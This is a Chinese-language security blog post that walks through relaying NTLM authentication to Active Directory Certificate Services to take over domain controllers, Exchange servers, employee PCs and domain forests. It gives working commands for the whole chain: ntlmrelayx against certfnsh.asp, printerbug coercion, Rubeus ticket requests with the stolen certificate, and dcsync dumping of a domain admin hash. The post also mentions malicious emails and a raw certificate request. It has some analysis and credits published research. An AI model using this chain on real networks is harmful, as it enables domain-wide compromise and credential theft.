域控?Exchange? Sharepoint? 个人PC? 个人域账号/邮箱?域森林?统统只要5秒打下。
0x00 踩点和识别
域内定位CA机器的方法较多, 常见如下
certutil -config - -ping
测试网络联通性
curl 192.168.44.150/certsrv/ -I
简单探测AD CS
错误配置
0x01 攻击Exchange流水账
本地监听和指定攻击目标 dc2 192.168.44.150
python ntlmrelayx.py -t http://192.168.44.150/certsrv/certfnsh.asp -smb2support --adcs
打印机协议触发回连Bypass监控规则
python printerbug.py corp/lower_user:yourpass@192.168.44.163 192.168.44.131
中继获取证书
[*] Base64 certificate of user EX03$:
LONGLONGLONGSTR**********==
Rubeus一键梭哈
Rubeus.exe asktgt /user:EX03$ /certificate:LONGLONGLONGSTR**********== /ptt
Rubeus生成票据并注入
C:\adcs>Rubeu_S.exe asktgt /user:EX03$ /certificate:bas64_cert_str /ptt
//返回
v1.6.4
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=ex03.BSEC.corp
[*] Building AS-REQ (w/ PKINIT preauth) for: 'BSEC.corp\EX03$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF**LongLongStrOfBase64Ticket.Kirbi***==
[+] Ticket successfully imported!
ServiceName : krbtgt/BSEC.corp
ServiceRealm : BSEC.CORP
UserName : EX03$
UserRealm : BSEC.CORP
StartTime : 2021/7/6 13:52:35
EndTime : 2021/7/6 23:52:35
RenewTill : 2021/7/13 13:52:35
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : XpO52RXSeAo6OdEfC+7kQQ==
注入票据前为低权限
账号
注入票据后
生成的票据拿到rubues/mimikatz
都是可以的,转换成ccache
,也可以用到impacket工具包
里
生成的证书会在较长的时间内有效默认一年有效期
0x03 攻击域控
前部分操作如上文
可以注入域控DC3$
的身份
接下来我们用DC3$
的身份, 进行 dcsync
导出域管dcadmin
的hash
0x04 攻击域内员工
补丁更新到最新. 系统为win10 ltsc
发送几封恶意邮件, 使用最新版的outlook
和foxmail
打开
均成功获取域账号win10
的个人证书
使用该证书登陆win10 ltsc
这台机器, 或者查看邮件等,都是可以的. 无论域用户 win10
修改多少次密码,密码强度如何, 证书默认会一年有效,并可以进行续签
0x05 域森林攻击
同样进行NTLM relay
使用relay
签发的证书,可见身份已经从bsec.ccop\low_user
到了forest-a.bsec.ccop\DC01$
的域管机器账号
0x06 换个视野看证书
certsrv
相关信息
签发请求相关流量csr
POST /certsrv/certfnsh.asp HTTP/1.1
Host: 192.168.44.150
Accept-Encoding: identity
Content-Length: 1699
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Mode=newreq&CertRequest=-----BEGIN+CERTIFICATE+REQUEST-----*****-----END+CERTIFICATE+REQUEST-----&CertAttrib=Info_Template&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=
微软AD CS
签发证书流量
openssl查看relay
盗签的证书信息
域CA
的证书管理信息, 可以发现relay
签发的证书,也可以吊销
.(无法吊销黄金证书)
Certmgr.msc
查看加域机器
自动植入的Root CA
- 一张
证书身份
可以干什么- 获取的不仅是
Tickets
- 涉及的不仅是
域内
- 每个加域的电脑都自动安装了
AD CS
下发的根证书想想攻击面😄
- 如果攻击或盗取了
Root CA
或Sub CA
?攻击面又有多大😄
- 获取的不仅是
0x07 攻击链路分析和发散
- 利用AD CS(需要开启
证书颁发机构Web注册
Web接口), 将目标机器账号的权限, relay到AD CS 80 web
实现pki身份
的持久化(SMB Relay到 HTTP). - 全程利用了域内正常服务
打印机协议/Pki Web注册
, 实现了低危害操作组合拳5秒打域控/Exchange/PC/域森林; - 攻击入口不仅是
打印机协议
, 只要可控机器账号/域账号
外发认证,即可实现组合拳,攻击面很广,攻击链路比较多.本文不过多赘述
- 另外用了PKI/HSM就一定安全了么?不管是开源或外采,抑或微软的PKI,攻防一直在持续.
- 为了不影响文章的主干和脉络清晰,很多点没有展开,如果有机会再来
叨叨
0x08 漏洞引入思考
由于2019年的一系列
smb/http/*->ldap
等组合拳,微软和企业IT运维在全球范围内,迅速推进了ldaps
的进程,里面开启pki
系列服务时,如不小心勾选了证书颁发机构Web注册
, 即会带来此次的攻击面. (默认只需要勾选证书颁发机构
)
百度/谷歌部分ldaps开启部署教程中,不少截图标识了要勾选证书颁发机构Web注册
😄
反思: 在消弭一些漏洞的历程中,新的动作和变更,又会引入新的攻击面和链路,这也正是攻防的魅力所在。
0x09 申明
本人获取的信息/进行的思考/完成的实践,肯定有欠缺或错漏,如有意见和建议
私聊微信red4blue
.
非首发安全客, 全文完成与7月10日
0x10 参考和致谢
-
Certified Pre-Owned
2021年6月17发布
-
AD CS relay attack – practical guide
2021年6月23发布
- Credits @harmj0y @specterops @exandroiddev
-
specterops
的白皮书都发了快二个月了, 去花1个小时过一遍吧,不亏.
发表评论
您还未登录,请先登录。
登录